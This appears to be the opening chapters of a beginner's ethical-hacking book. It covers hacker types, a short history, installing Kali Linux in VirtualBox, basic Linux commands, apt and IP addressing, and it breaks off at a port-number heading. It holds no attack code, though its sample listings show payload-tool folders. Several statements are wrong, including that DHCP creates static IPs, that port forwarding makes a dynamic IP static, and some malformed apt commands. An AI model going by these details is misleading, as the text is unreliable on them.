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Introduction

What is hacking?

Hacking is the process of identifying weaknesses in a computer system or
network and exploiting the weaknesses to gain access. Hacking is done
through cracking passwords, Manipulating system, etc. that give access to a
particular system.

An individual who performs hacking is referred to as a hacker. Hacking can
be done on a single system or a group of systems, an entire local area
network, website, email accounts, or social media. Access to passwords is
accomplished using password cracking algorithm programs. However, it is
worthy to note that hacking may not always be for malicious gains.

Who is a hacker?

Hackers are people who discover vulnerabilities in computer systems and
networks and exploit them to gain access. They are mostly experienced
programmers who are familiar with computer security. These experts are
classified according to the purpose of their actions. The following list
categorizes hackers according to their intent
Type of Hackers
Non-ethical hackers: Non ethical hackers are also known as black hat
hackers are criminals who gain access to computer networks with malicious
intentions. They intend to steal business data, violate the right to privacy,
transfer funds from bank accounts, etc.
Ethical Hacker: An Ethical Hacker, also known as a White Hat Hacker, is a
skilled computer expert who systematically uses programming skills to break
into a computer system, application, network, or other computing resources.
They do so on behalf of a company, having been granted permission so that
they can find security flaws and vulnerabilities that a malicious hacker can
exploit.



Grey hat: A hacker between ethics and black hat hackers. They gain
unauthorized access to computer systems by identifying weaknesses. They
may decide to reveal these weaknesses to the owners for appropriate action or
use them for their own gain. 

What is Ethical Hacking?

The main importance of ethical hacking is to evaluate the security of a system
by identifying any vulnerabilities of the system infrastructure. Ethical
hacking revolves around exploiting the flaws in a system, if any, to determine
whether malicious activities can be performed. Ethical hackers use their
knowledge and skills to bypass an organization’s system security. Ethical
hackers must, however, adhere to the following rules.

Obtain written authorization from the computer system and/or
computer network owner before hacking.
Protect the privacy of the organization.

Report all identified vulnerabilities in the computer system so
that they are transparent.
Notify the hardware and/or software vendors of identified
vulnerabilities.

Why Ethical Hacking?

Information is one of the organization's most valuable resources. Information
security can preserve an organization's image and save a lot of cash. Hacking
is considered a threat against any company, especially those whose main
activity is cash transaction business. Take, for example, a company like
PayPal. They stand to make serious losses if someone hacks any of their
crucial systems. As such, ethical hacking enables companies to be a step
ahead of cybercriminals that would damage or ruin the operations of a
company.

The legality of Ethical Hacking

Ethical hackers are hired to carry out penetration testing. They use their
computing skills to determine the security level of a company’s system.
Grading a company’s system security is a necessity for business. If ethical



hackers don’t perform penetration testing, how else can a company identify
potential flaws and put in place effective defence measures against real
criminals?
Most organizations believe that authorizing an ethical hacker to test the
company’s defences is enough legal protection. The act of hiring a hacker is
justified by the belief that they have the company’s best interests at heart.
However, hacking may require the use of social engineering. For this reason,
ethical hackers end up logging into the company’s systems using illegally
acquired credentials. When such a situation occurs, then the action can be
considered illegal.

History of hacking

Hacking is not a new term for most people, especially in the technological
era. Many have fallen prey to this activity, and the experience is usually
detrimental, but how did hacking come into existence? The term, “hacking,”
was coined at MIT and has been in use for around sixty-four years. The act
itself started over a century ago.
In 1878, a group of teenage boys ran the switchboards of Bell Telephone was
fired for misdirecting and disconnecting incoming calls instead of connecting
them to the intended receivers. Hacking started as a way of learning how
systems worked as well as finding ways to fix and improve the performance
of computer operating systems. Over time, this evolved into ways of
exploiting vulnerabilities and breaking into computer systems or webs to
obtain sensitive information as the world advanced technologically.
In the late '50s and early '60s, hackers, who were mostly students, were
fascinated by the large mainframe computer systems which were common at
that time. They developed programming shortcuts that would improve the
computing task capabilities of the mainframes. A good example is the
creation of BASIC by Thomas E. Kurtz and John G. Kemeny as a way to
help people with no programming background to be able to use computers.
By 1969, The Advanced Research Projects Agency (ARPA) founded
ARPANET, the precursor to today's internet. ARPANET built a network
between the University of Utah, University of California Santa Barbara,
University of California Los Angeles, and Stanford Research Institute.
The modern-day understanding of hacking came about in the 1970s when a



phone phreak called John Draper figured out a way to make free phone calls.
He did it by building the blue box that was able to exploit hidden codes that
could not be dialled using the standard phone line. By 1978, Ward
Christiansen and Randy Seuss developed the first bulletin board system.
In the '80s, computer use became more popular thanks to IBM's mass
production and marketing of the personal computer. The number of computer
units rose to ten million in the US alone as more people were accessing the
ARPANET. Hacking began gaining traction to the extent that a popular
hacking movie called War Games was released in 1983. It was the first movie
to give the general audience an experience of the hacking world. In the same
era, the 414s hackers hacked several high-profile computer systems such as
Security Pacific Bank and Los Alamos National Laboratory. In the same
period, a hacker, Ian Murphy was sentenced for hacking into AT&T's
computer systems.
In the '90s, a group called Masters of Deception (MOD) had a conflict with
another group dubbed the Legion of Doom (LOD). The conflict was
infamously known as The Great Hacker War. Ever since, there have been
several cases of individuals such as Kevin Mitnick and groups such as
Anonymous breaking into computer systems and networks.

What started as pure curiosity and a need to understand and solve computer
systems evolved into criminal attacks on institutions, networks, and personal
computer systems to gain unauthorized access. This led to the creation of
cybersecurity to combat illegal access to systems.



Setting up a lab

Basic overview & software required

There are two ways to set up a hacking lab

1)    Using a virtual machine
2)    Setting up a lab using a bootable pen drive.

In this section, I am going to show you the most common and the best
method of installing Kali Linux into your system without changing the
operating system. Before setting up a hacking lab, let's first understand what
a Kali Linux operating system is and why cybersecurity specialists and
hackers use it.

What is Kali Linux?

Kali Linux is a Debian-based Linux distribution. It runs on a wide spectrum
of devices. Also, Kali Linux is open source, meaning it is free and legal to
use in a wide range of scenarios. Most experts, however, discourage using
Kali Linux if you are a beginner who is interested in cybersecurity. They
encourage you to take advantage of the ease that comes with using other
Linux distributions. In addition, it is worthy to note that Kali Linux offers a
single root user design. The technique here is to let you handle privileges.
The feature is especially helpful for penetration testing and data forensics that
can be used to determine a company’s weak point in a risk mitigation project.

Installing Kali Linux

There is a lot of software available through which we can run virtual
machines into the system without changing our current operating system.
Today, in this section, we are going to use virtual box because it is open
source and free to use. We can run multiple machines at a time. Visit the
Virtual Box official site to download the setup.
To install Kali Linux into a virtual machine, you need to have an ISO disk



image. You can easily download it from the Kali Linux official site.
Follow the steps below to install Kali Linux into a virtual machine:

1. Open Virtual Box and click on the “New” button.

2. Give a name and specify the operating system.



Here, you will see four tabs labelled “Name,” “Machine Folder,” “Type,” and
“Version.” On the Name tab, you have to give a name to your virtual
machine. On the Machine tab, you have to specify where you want to store
the files of the virtual machine. On the Type tab, you need to tell the virtual
box which operating system you are going to install. On the Version tab, you
need to specify the version of operating you are installing.

3. Allocate ram to the virtual machine.



After clicking on the Next button, you will be asked to select the amount to
memory (RAM) in megabytes to be allocated to the virtual machine. If you
have 8gb of RAM in you system, then it is recommended to allocate only 2gb
of RAM. If you have 16gb of RAM in your PC, then you can allocate 4gb of
RAM.
I have 8gb ram in my PC, so I am allocating only 2gb of RAM to the virtual
machine.

4. Create a virtual disk.



Here, you have to specify whether you want to create a new virtual hard disk
or want to use an existing one. We are creating a virtual machine form
scratch so we will choose “Create a virtual hard disk now” and click on the
Create button.

5. Choose Hard disk file type



Here, you have to choose the type of file that you would like to use for the
new virtual hard disk. We will keep it as default and click on the Next button.

6. Storage on the physical disk



In this section, we have to specify whether we want to use a dynamically
allocated hard disk or a fixed size hard disk. If we choose a dynamically
allocated hard disk, the file will only use space on your physical hard disk as
it fills up. A fixed size hard disk is the opposite in that the space is specified
is automatically allocated to the disk and, as such, does not expand with use.
We will go with the dynamically allocated hard disk. So, select it and click
on the Next button.

7. Select file location and size



Here, we have to specify where we want to store the virtual hard disk and
how much space we want to allocate as a virtual hard disk. I’ll give 20gb,
keep the location section as default and click on the Create button.

8. Go to the Settings.
Before running the virtual machine, we have made a few changes so click on
the Settings button.



9. Enable extended features.
Kali Linux needs some extra features, so we have to enable extended
features. Go to the system tab.



Under System, we can see an option named “Extended Features,” enable it
and click the OK button. Virtual Box assigns 1 core cpu by default which is
too low, and we can change it by going to the Processor tab.

10. Increase the CPU and enable extended features.



Change the processors to 2 and enable the extended feature under the
Execution Cap and click on the OK button.

12. Go to the display tab and increases video
memory and enable extended features.



13. Go to the Storage tab and locate the Kali Linux
ISO.

Now click on the OK button and start your virtual machine.



14.                      Select the Graphic Installation option from the Boot
menu.

Here, you will see many options. Use the down arrow to select the Graphical
Installation and click Continue.

15.                      Select a language. We recommend using your native
language or any other language that you are conversational in so
that you won’t face any difficulties.



16.                      Select a Location
In this dialog box, you will be asked to select the location you are in so that
you can continue. This option determines the location of the Kali Linux
operating system. Later, you will have to determine the time zone based on
the location you chose.



17.                      Configure the Keyboard
This dialog box requires you to select the keyboard layout. To select the
keyboard layout, use the arrow keys and click Next. This option configures
your keyboard under the Black Linux operating system. By default, it is
configured in American English.



After you click Next, the installation progress will be displayed and you will
see the Network Configuration dialog box.

18.                      Configure the Network – Enter Hostname



In this dialog box, you will be prompted to enter the hostname for your
system. This is a home network so you can set anything. Once you have
entered the name, click Continue.

19.                      Configure the Network – Enter a domain name
This dialog box asks you to enter the domain name for your system. Being a
home network, we can set something like homenetwork.com or anything else.



20.                      Set User and password
In this dialog, you will be asked to enter a password for the root user account.
Enter a password of your choice and click Continue. This user password is
the password for the root with which you will log in at the end of the
installation.



You will only be asked to set up a user if you leave the root password blank
in the screen above. If you set a password, the following screens are not
displayed. In this case, you will have to log in as root using the password that
you have set above.
In this screen, on the other hand, you ought to enter the username of the
account in lowercase. This account must be used for general non-
administrative activities. Click Continue.

For the screen that comes up next, you must enter the full name of the user
except the root. This account should be used for general non-administrative
activities. Click Continue.



Kali Linux Installation – Set Up User
For this screen, you must enter the username of the account, in small letters.
This is important when you want to login as a non-root user. This account
should be used for non-administrative general activities. Once you’re done,
click Continue.



Kali Linux installation – Set Up User Account
In the screen above, you must enter the password for the newly created user.
Keep in mind that this is not the root password. Once you have entered the
password, click Next.

Kali Linux Installation – Set up User Password



21.                      Configure Clock
This dialog box asks for a time zone based on the selected location. Please
enter the time zone of your choice and click Next.

22.                      Partition Disk
This dialog asks how you wish to partition your hard drive. Select Direct -
Use the entire disk and click Next. This is the default option.



Install Ka Partition Disk Screenshot



23.                      Select the Partition Plan
This dialog prompts you to select a disk partitioning plan. By default, select
all files in a partition and click Next.



24.                      Disk Partition Overview
The next dialog box prompts you to specify the time zone based on the
previously selected location. Enter the time zone of your choice and click
Continue.



25.                      Disk Partition Confirmation
In this dialog, you are asked to confirm the changes in the disk. Select Yes
and click Continue.



26.                      Installation Starts
Once everything is set, the actual installation will start. Wait until the
package manager is configured



27.                      Configure the package manager
This dialog asks if you want to configure the network mirror for the package
manager. Select Yes and then continue. You can skip this by choosing No.
The default option, Yes, is better.



28.                      Configure the package manager – HTTP Proxy
This dialog asks if you want an HTTP proxy. Leave the field blank and click
Next.



The installation process will continue. Wait a while and continue the process.



29.                      Install GRUB boot loader
This dialog box asks if you want to install the GRUB boot loader. Select Yes
and click Continue.

30.                      Select the device for the GRUB boot loader
installation

This dialog asks you to select a boot loader device for the GRUB installation.
Select “/dev/sda” and then click Next.



The installation will continue. Wait until the process comes to an end.



31.                      Installation Complete
The installation will continue to a point where an “Installation Complete”
dialog box appears. Click Next to complete the installation process and wait
for the virtual machine to restart. After reboot, the login screen should be
displayed. Log in with your username and enter your password. You'll see a
Kali Linux desktop.

A new installation window will appear. This, however, is only meant to
complete the installation process and will restart the VM again.



Kali Linux Installation
After the VM reboots, you will see a Kali Linux black login screen.

Log in with the username “Root,”and the password should be what you
entered during the first installation process.



Step 30 – Switching to Full Screen mode
Keep in mind that you won’t be in a position to switch to the full-screen
mode after logging in. What you’ll see is a resolution of 800 × 600, which is
the standard resolution. This is because there are no virtual box tools
installed. Complete the steps required to install the virtual box. After
installation and restart, you should view the desktop in the same resolution as
your computer.



Follow the given steps below to install virtual box tools:

1. Go to the Devices tab and click on “Insert Guest Additions CD
image.”

2. Click on VBox_Gas.



3. Open terminal here and change your current user to root by
typing “sudo su.”

4. We need to run the autorun.sh file but it is not an executable, so 
we need to first change its mode to executable. We can do that
by typing “chmod +x (file name).”

root@kali:/media/cdrom0# chmod +x autorun.sh
root@kali:/media/cdrom0#

5. Run the file by typing “bash (file name).”



It will take some time to install all the tools, after which point you will be
asked to restart your virtual machine.

Linux basics



Basic overview

Once have installed Kali Linux 20.3 on the virtual machine, we can go ahead
and explore its functions. However, before you start, you should know that
Kali Linux releases a new version every few months or quarters. In the last
few years, however, there have been no significant changes that attract much
attention. As such, what we will learn in this book applies to all versions of
Kali Linux regardless of the version. Note that only a few cosmetic changes
have occurred, but we will deal with all these changes in a moment. Before
getting into it, if you have not yet updated your Kali Linux version, consider
updating it. You can do so by typing “apt update & apt-full upgrade”

What changes in Kali Linux 2020.3?
As I said before, there has been no significant change that would attract so
much attention. So, everything will be learned in this course, will be
implemented in the 2018 and 2019 editions. There is a possibility for new
versions in the coming years.
Terminal basic
Before understanding the basic terminal commands, we need to understand
what a terminal is and how it works.

What is a Terminal?

A terminal is a display that returns the output of any command that you use
or execute. Its main function is to process your input and display an output.
There is a program running in the background which helps the program to
understand what you are typing and what the output will be.

Shortcuts of terminal

Before learning some basic Kali Linux commands and shortcuts, I would like
to it clear that Kali Linux is a very case sensitive operating system, so be
careful while typing commands. Due to a single wrong capitalization, your



commands can fail to execute.

1. Ctrl + c (Kill or Suspend process)
At some points, you will be running a process or program that you want
to interrupt or kill. For such a situation, you can use Ctrl + c shortcut key
to kill the program.

root@kali:/home/anon# apt-get update
Hit:1 http://ftp.harukasan.org/kali kali-rolling InRelease
^Cading package lists... 35%
root@kali:/home/anon#

2. Ctrl + z (suspend command)
Sometimes, when we are running a process, we need to stop it without
having to kill the program in this situation, you can use this shortcut key.

root@kali:/home/anon# apt-get update && upgrade
Get:1 http://ftp.harukasan.org/kali kali-rolling InRelease [30.5 kB]
Get:2 http://ftp.harukasan.org/kali kali-rolling/main i386 Packages [16.9 MB]
19% [2 Packages 1,176 kB/16.9 MB 7%]                         73.3 kB/s 7min 33s^Z
[1]+  Stopped                 apt-get update
root@kali:/home/anon#

3. bg – Background
root@kali:/home/anon# bg
[2]+ apt-get update &
Reading package lists... Done
E: Could not get lock /var/lib/apt/lists/lock. It is held by process 1799 (apt-get)
N: Be aware that removing the lock file is not a solution and may break your system.
E: Unable to lock directory /var/lib/apt/lists/

To continue your stopped process in the background, you can use this
command.

4. clear (clear the screen)
root@kali:/home/anon# clear

For cases where you wish to clear the screen, use the following
command:



5. exit (exit terminal)

6. !! (Repeat Previous command)
root@kali:/home/anon# !!
apt-get update
Reading package lists... Done
E: Could not get lock /var/lib/apt/lists/lock. It is held by process 1799 (apt-get)
N: Be aware that removing the lock file is not a solution and may break your system.
E: Unable to lock directory /var/lib/apt/lists/
root@kali:/home/anon#

Terminal tricks

1. Tab - autocomplete
You can use the tab button to auto complete a sentence. This means
that if you are typing a command and you press the tab button when
half done, the command will be automatically completed.

2. Shift + page up
You can use shift+ up to scroll the page up instead of using the
mouse.

3. Shift + page down
You can also use shift + down to scroll the page down instead of
using a mouse.

4. Up arrow
If you want to repeat the previous command, you can use up arrow.

5. History
To see the entire command history, you can use the history
command.

root@kali:/home/anon# history
    7  clear



    8  cd /var/www/html/
    9  ls
   10  clear
   11  man nmap
   12  man -k partation
   13  man -k partition
   14  sfdisk -v
   15  clear
   16  apropos partition
   17  clear
   18  cd Desktop
   19  clear
   20  ls

Basic commands

1. Pwd
Pwd stands for “print working directory.” You can use this command to
check your current working directory. It will show your current working
directory with full path.
root@kali:/home/anon/Desktop# pwd
/home/anon/Desktop
root@kali:/home/anon/Desktop#

2. Cd
Cd stands for “change directory.” This command can be used to change the
current working directory.
root@kali:/home/anon# cd Desktop
root@kali:/home/anon/Desktop#

As you can see in the screen, my current working directory is changed from
anon to Desktop

3. Cd ~ or cd
You can use these commands to return to the home directory.
root@kali:/home/anon/Desktop# cd
root@kali:~#



As you see, my current working directory is changed from desktop to home.

4. Cd ..
We can use this command to go back to the previous directory.
root@kali:/home/anon/Desktop# cd ..
root@kali:/home/anon#

Creating files & directories

In this section, we are going to learn how create directories using terminals.

1. /mkdir
mkdir (file name)

mkdir stands for make directory. We can use this command to create a new
directory.
root@kali:/home/anon/Desktop# mkdir test
root@kali:/home/anon/Desktop# ls
Evil-Droid  exe_name  payload.exe  test  Veil
root@kali:/home/anon/Desktop#

As you can see, a new directory is created in the current directory name,
“test.”

Options:
-p: we can use -p option with mkdir to create multiple directories at a time.
e.g. I want to create a directory name test, and inside that directory I want to
create two more directories named “dir1” and “dir2.” in this case, I can use -p
option and it will save a lot of time.

2. Touch

The touch command is used to create txt files.
root@kali:/home/anon/Desktop# touch test1.txt
root@kali:/home/anon/Desktop# ls
Evil-Droid  payload.exe  test1.txt  Veil
root@kali:/home/anon/Desktop#

As you can see, we have created a txt file name “test1.txt” in the current
directory.



3. Ls

We can use ls command to list the content of the directory. There are new
more option we can explore.

Options:

I. -l
To see the contents of the directory with a long list, we can use -l option.
root@kali:/home/anon/Desktop# ls -l
total 12
drwxr-xr-x 6 anon anon 4096 Nov 24 05:20 Evil-Droid
-rw-r--r-- 1 anon anon 4063 Nov 23 08:20 payload.exe
-rw-r--r-- 1 root root    0 Nov 25 00:43 test1.txt
drwxr-xr-x 7 root root 4096 Nov 22 03:48 Veil
root@kali:/home/anon/Desktop#

As you can see, all the files are listed with their creation date and the name of
user who create the files.

II. ls (path)
E.g. ls /tmp/
root@kali:/home/anon/Desktop# ls /tmp/
systemd-private-2e1e1f2e67d742d5838214449e8b1a64-colord.service-ZBw1fi
systemd-private-2e1e1f2e67d742d5838214449e8b1a64-haveged.service-EIHAZg
systemd-private-2e1e1f2e67d742d5838214449e8b1a64-ModemManager.service-oc9Q3e
systemd-private-2e1e1f2e67d742d5838214449e8b1a64-systemd-logind.service-9q7FNh
systemd-private-2e1e1f2e67d742d5838214449e8b1a64-upower.service-9fME5h
tracker-extract-files.1000
tracker-extract-files.133
root@kali:/home/anon/Desktop#

We do not have to view the entire directory to access its content. You can do
that from anywhere in the system by typing “ls” then “full path.”

III. -a
We can use “–a” with “ls” to see the hidden files of the directory
root@kali:/home/anon/Desktop# ls -la
total 44
drwxr-xr-x  4 anon anon  4096 Nov 25 00:43 .



drwxr-xr-x 17 anon anon  4096 Nov 25 00:41 ..
drwxr-xr-x  6 anon anon  4096 Nov 24 05:20 Evil-Droid
-rw-r--r--  1 anon anon  4063 Nov 23 08:20 payload.exe
-rw-r--r--  1 root root     0 Nov 25 00:43 test1.txt
-rw-r--r--  1 root root 12288 Nov 16 07:09 .test1.txt.swp
-rw-r--r--  1 root root 12288 Nov 16 07:09 .test2.txt.swp
drwxr-xr-x  7 root root  4096 Nov 22 03:48 VeilDesktop#

There are lots of system files which we cannot see, so we can use the “-a”
option with “ls” to list all the files including hidden ones.

IV. -r
We can use the “-r” option to list the content of directory in reverse order.
root@kali:/home/anon/Desktop# ls -l                            ☐   (Normal Listing)
total 12
drwxr-xr-x 6 anon anon 4096 Nov 24 05:20 Evil-Droid
-rw-r--r-- 1 anon anon 4063 Nov 23 08:20 payload.exe
-rw-r--r-- 1 root root    0 Nov 25 00:43 test1.txt
drwxr-xr-x 7 root root 4096 Nov 22 03:48 Veil
root@kali:/home/anon/Desktop# ls -rl                            ☐  (Reverse Listing)
total 12
drwxr-xr-x 7 root root 4096 Nov 22 03:48 Veil
-rw-r--r-- 1 root root    0 Nov 25 00:43 test1.txt
-rw-r--r-- 1 anon anon 4063 Nov 23 08:20 payload.exe
drwxr-xr-x 6 anon anon 4096 Nov 24 05:20 Evil-Droid
root@kali:/home/anon/Desktop#

V. -t
We can use this command to list new files first.
root@kali:/home/anon/Desktop# ls -l                             ☐  (Normal Listing)
total 12
drwxr-xr-x 6 anon anon 4096 Nov 24 05:20 Evil-Droid
-rw-r--r-- 1 anon anon 4063 Nov 23 08:20 payload.exe
-rw-r--r-- 1 root root    0 Nov 25 00:43 test1.txt
drwxr-xr-x 7 root root 4096 Nov 22 03:48 Veil
root@kali:/home/anon/Desktop# ls -lt                          ☐  (New Files First)
total 12
-rw-r--r-- 1 root root    0 Nov 25 00:43 test1.txt
drwxr-xr-x 6 anon anon 4096 Nov 24 05:20 Evil-Droid
-rw-r--r-- 1 anon anon 4063 Nov 23 08:20 payload.exe
drwxr-xr-x 7 root root 4096 Nov 22 03:48 Veil
root@kali:/home/anon/Desktop#



VI. -rtl
root@kali:/home/anon/Desktop# ls -rlt
total 12
drwxr-xr-x 7 root root 4096 Nov 22 03:48 Veil
-rw-r--r-- 1 anon anon 4063 Nov 23 08:20 payload.exe
drwxr-xr-x 6 anon anon 4096 Nov 24 05:20 Evil-Droid
-rw-r--r-- 1 root root    0 Nov 25 00:43 test1.txt
root@kali:/home/anon/Desktop#

We can use the “-r,” “-l” and “-t” options together to list old files first.

Copying Files From a Directory
In this section, we are going to learn, how to copy a file or directory form one place to another using
terminals. We will also cover few interesting options which will make our work easier.

Before learning about copy command and its options, let us under it’s structure.

“Cp” stands for copy, and we use this command to copy files and directories. It works the same as it
would in Windows, but here we use a terminal instead of graphical user interface.

cp [options] destination path

root@kali:/home/anon/Downloads# cp test.txt /home/anon/Desktop/
root@kali:/home/anon/Downloads# cd ..; cd Desktop
root@kali:/home/anon/Desktop# ls
Evil-Droid  payload.exe  test.txt  Veil
root@kali:/home/anon/Desktop#

Now, we can see that the test.txt file is copied from the Downloads folder to
the Desktop. Let’s explore few options.

-r
If we want to copy a folder including its content, then we have to use “-r”
option with the “cp” command.
root@kali:/home/anon/Desktop# ls
Evil-Droid  payload.exe  test  test.txt  Veil
root@kali:/home/anon/Desktop# cp -r test /home/anon/Downloads/
root@kali:/home/anon/Desktop#

-i
If you want a confirmation while copying, then you can use the “–”" option.
It will prompt before overwriting any file or directory.



Moving files from a directory

The difference between copying and moving is that copying creates a file that
is same to the selected file or folder and places the duplicate in a different
drive or folder. Moving, on the other hand, transfers the original files from
one location to another. The “move” command deletes the original files and
preserves them when copying. With Kali Linux, the “move” option is also
used to rename the file or directory because there is no rename option. Let us
go ahead and see how it works.
I have created a file in the desktop and named it “test.” Now let's move the
file from the Desktop folder to Documents.
root@kali:/home/anon/Downloads# mv test /home/anon/Desktop/
root@kali:/home/anon/Downloads# cd ..
root@kali:/home/anon# cd Desktop
root@kali:/home/anon/Desktop# ls
Evil-Droid  payload.exe  test  test.txt  Veil
root@kali:/home/anon/Desktop#

Again, if you want a confirmation while copying, then you can use the “-i”
option. It will prompt before overwriting any file or directory.

Deleting files & directory

So far, we have learned how to create files and directories, list the content of
a directory and to list the content of the file. What if we want to delete these
files? We can do so using rm command. Let us go ahead and see how you can
use this command to remove the files & directory
rm [file name]
root@kali:/home/anon/Desktop# ls
Evil-Droid  payload.exe  test.txt  Veil
root@kali:/home/anon/Desktop# rm test.txt               ☐  rm [file name]
root@kali:/home/anon/Desktop# ls
Evil-Droid  payload.exe  Veil
root@kali:/home/anon/Desktop#

Now, we can see test file is removed from the desktop directory.
rmdir [file name]



root@kali:/home/anon/Desktop# ls
Evil-Droid  payload.exe  test  Veil
root@kali:/home/anon/Desktop# rmdir test                                  
root@kali:/home/anon/Desktop# ls
Evil-Droid  payload.exe  Veil
root@kali:/home/anon/Desktop#

We can use rmdir command to remove empty directories.
-r
root@kali:/home/anon/Desktop# rm -r test
root@kali:/home/anon/Desktop#

We can use the “-r” option with rm to remove a directory including its
content.

Package management

Kali Linux packages are very similar to Windows OS. We can install any
package at any time using the apt command. Apt stands for Advanced
Packaging Tool. In addition, there are a number of different commands we
can use with apt.

For example, if I want to connect the client with an FTP server, then I need a
package graphical FTP. I can search it using the following command:
Apt-catch search graphical ftp
root@kali:/home/anon/Desktop# apt-cache search graphical ftp
filezilla - Full-featured graphical FTP/FTPS/SFTP client
ftools-fv - Tool for viewing and editing FITS format files
gabedit - graphical user interface to Ab Initio packages
gdebi - simple tool to view and install deb files - GNOME GUI
gftp-gtk - X/GTK+ FTP client
jftp - Java GUI client for FTP, SMB, SFTP and NFS
k4dirstat - graphical disk usage display with cleanup facilities
lynx - classic non-graphical (text-mode) web browser
sdlfrotz - interpreter of Z-code story-files (SDL version)
root@kali:/home/anon/Desktop#

Here, we can see there are lots of results on the graphical ftp keyword.
Suppose I chose filezilla, but before installing it, I want to see more
information about it, then I can use the command given below.



Apt-catch show filezilla
MD5sum: 187b677c444d388da121f7ab524c4faf
Description: Full-featured graphical FTP/FTPS/SFTP client
FileZilla is a full-featured FTP client with an easy-to-use GUI.
.
It is written in C++ and uses the wxWidgets library.
.
FileZilla includes the following features:
   * Supports FTP, FTP over SSL/TLS (FTPS) and SSH File Transfer Protocol (SFTP)
   * IPv6 support
   * Available in more than 40 languages
   * Supports resume and transfer of large files >4GB
   * Easy to use Site Manager and transfer queue
   * Bookmarks
   * Drag & drop support
   * Speed limits
   * Filename filters
   * Directory comparison
   * Network configuration wizard
   * Remote file editing
   * Keep-alive
   * HTTP/1.1, SOCKS5 and FTP Proxy support
   * Logging to file
   * Synchronized directory browsing
   * Remote file search
   * Tabbed interface to connect to multiple servers
Description-md5: 782ac3b3cf186729c1138dc7616d26df
Homepage: https://filezilla-project.org/
Tag: implemented-in::c++, interface::graphical, interface::x11,
network::client, protocol::ftp, protocol::sftp, protocol::ssl,
role::program, uitoolkit::gtk, uitoolkit::wxwidgets, use::downloading,
 works-with::file, x11::application
Section: net
Priority: optional
Filename: pool/main/f/filezilla/filezilla_3.51.0-1_amd64.deb

root@kali:/home/anon/Desktop#

Once I get the information I need, I can use the command given below to
install the package.
Apt-get install filezilla
root@kali:/home/anon/Desktop# apt-get install filezilla



Reading package lists... Done
Building dependency tree       
Reading state information... Done
filezilla is already the newest version (3.51.0-1).
The following packages were automatically installed and are no longer required:
  bluez-firmware firmware-atheros firmware-brcm80211 firmware-intel-sound
  firmware-iwlwifi firmware-libertas firmware-realtek firmware-ti-connectivity
  firmware-zd1211 libindicator3-7 libjsoncpp1 libmpdec2 libprotobuf22
  libsrt1-gnutls libx264-159 openjdk-8-jre python3-chameleon
  python3-flask-restless python3-mimeparse python3-mimerender python3-waitress
  python3-webtest python3-zope.component python3-zope.event
  python3-zope.hookable snmp testdisk tftp
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 178 not upgraded.
root@kali:/home/anon/Desktop#

I already have this package installed in my system. In your case, it can take
some time based on your internet speed.
What if you used this software and for some reason, you want to remove it?
You can do that by typing the following command:

Apt-get remove filezilla
root@kali:/home/anon/Desktop# apt-get remove filezilla
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following packages were automatically installed and are no longer required:
  bluez-firmware filezilla-common firmware-atheros firmware-brcm80211
  firmware-intel-sound firmware-iwlwifi firmware-libertas firmware-realtek
  firmware-ti-connectivity firmware-zd1211 libfilezilla0 libindicator3-7
  libjsoncpp1 libmpdec2 libprotobuf22 libpugixml1v5 libsrt1-gnutls
  libwxbase3.0-0v5 libwxgtk3.0-gtk3-0v5 libx264-159 openjdk-8-jre
  python3-chameleon python3-flask-restless python3-mimeparse
  python3-mimerender python3-waitress python3-webtest python3-zope.component
  python3-zope.event python3-zope.hookable snmp testdisk tftp
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  filezilla
0 upgraded, 0 newly installed, 1 to remove and 178 not upgraded.
After this operation, 7,614 kB disk space will be freed.
Do you want to continue? [Y/n] y
(Reading database ... 338025 files and directories currently installed.)
Removing filezilla (3.51.0-1) ...



Processing triggers for desktop-file-utils (0.26-1) ...
Processing triggers for mime-support (3.64) ...
Processing triggers for gnome-menus (3.36.0-1) ...
Processing triggers for libc-bin (2.31-4) ...
Processing triggers for man-db (2.9.3-2) ...
Processing triggers for kali-menu (2020.4.0) ...
root@kali:/home/anon/Desktop#

Now, filezilla is removed from our system without any issue.

Internet protocol

What is an IP address?



An IP address represents the Internet Protocol address which is a unique
identification number of any system connected to a network. There are two
versions of the IP address, IPv4 and IPv6. IPv4 is thirty-two bits long and a
maximum of 4,294,967,296 (232) addresses can be uniquely addressed. An
IP address is divided into four sections. Each section can contain one to three
digits. These numbers are separated by a single period (.). These four sections
should contain numbers that must be between zero and 255. For example,
1.160. 10.240 can be an IP address. IPv6 is 128 bits long and enables
3.4x1038 (2128) unique addresses written in hexadecimal and separated by
colons. An example of IPv6 is: 3ffe: 1900: 4545: 3: 200: f8ff: fe21: 67cf.

Types of IP address

There are four types of IP addresses:

Local IP address

Public IP address
Static IP address
Dynamic IP address

Local IP Address
A local IP address is assigned to your computer when it is connected to a
router with default settings. It’s normally used to locate devices and
computers connected to a private network. The local IP address doesn’t have
to remain as it is at all times. It can change depending on the other devices on
the private network and whether those devices are turned on or not.
Let’s suppose you have a private network with a laptop, computer, tablet, and
phone on it. If you turn the phone on first, then your router would give your
phone the first local IP address. Network routers normally assign local IP
addresses. Every device is then allocated an address when it connects to the
network.
Public IP Address
Your Public IP address can be compared to a telephone number for your
device. It’s also called an External IP address, and you are assigned one when
you go online. Your internet service provider uses it to identify the customer
and device requesting a specific web page.



The public IP is required for any public network and differentiates every
device connected to the internet. Your public IP is unique to you so that your
requests online don’t go to someone else. The requests are supposed to come
back to your device given that it’s the only one with that IP address.
Static IP Address
Your Static IP Address was manually created for a specific device by a
dynamic host configuration protocol (DHCP). The DHCP is normally used to
set up an IP address quickly and automatically. Your static IP address does
not change.

Any router, phone, tablet, laptop, etc. that can house an IP address can be set
up to have a static IP address. These types of IP addresses are usually used to
remotely access programs, servers, and hosting websites from home. You’d
normally use a static IP address to make a device easier to find. Once you
know the static IP, then it won’t change.
Dynamic IP Address
A dynamic IP address is automatically assigned to each connection in a
network. For example, your tablet, phone, laptop, and iPad would be
considered different connections. This is important because the dynamic host
configuration protocol (DHCP) automatically configures the dynamic IP
address.
This means that the next time the connection happens with the device, there
will most likely be a different dynamic IP address. The biggest advantage of
a dynamic IP is the flexibility and ease of use. An example is a laptop. It has
an active dynamic IP address while being used to access the internet.
The same person shuts down the laptop and that IP is free for use again. This
person pulls out a tablet and gets the same dynamic IP even though it’s a
different device. That’s the advantage of a dynamic IP address.

You can change a dynamic IP address to a static IP address in minutes with
port forwarding, which is the simplest and most cost-effective way to get a
static IP address functions in a dynamic IP address.



Port Number

Many of us may have never heard of port forwarding before. One thing we all
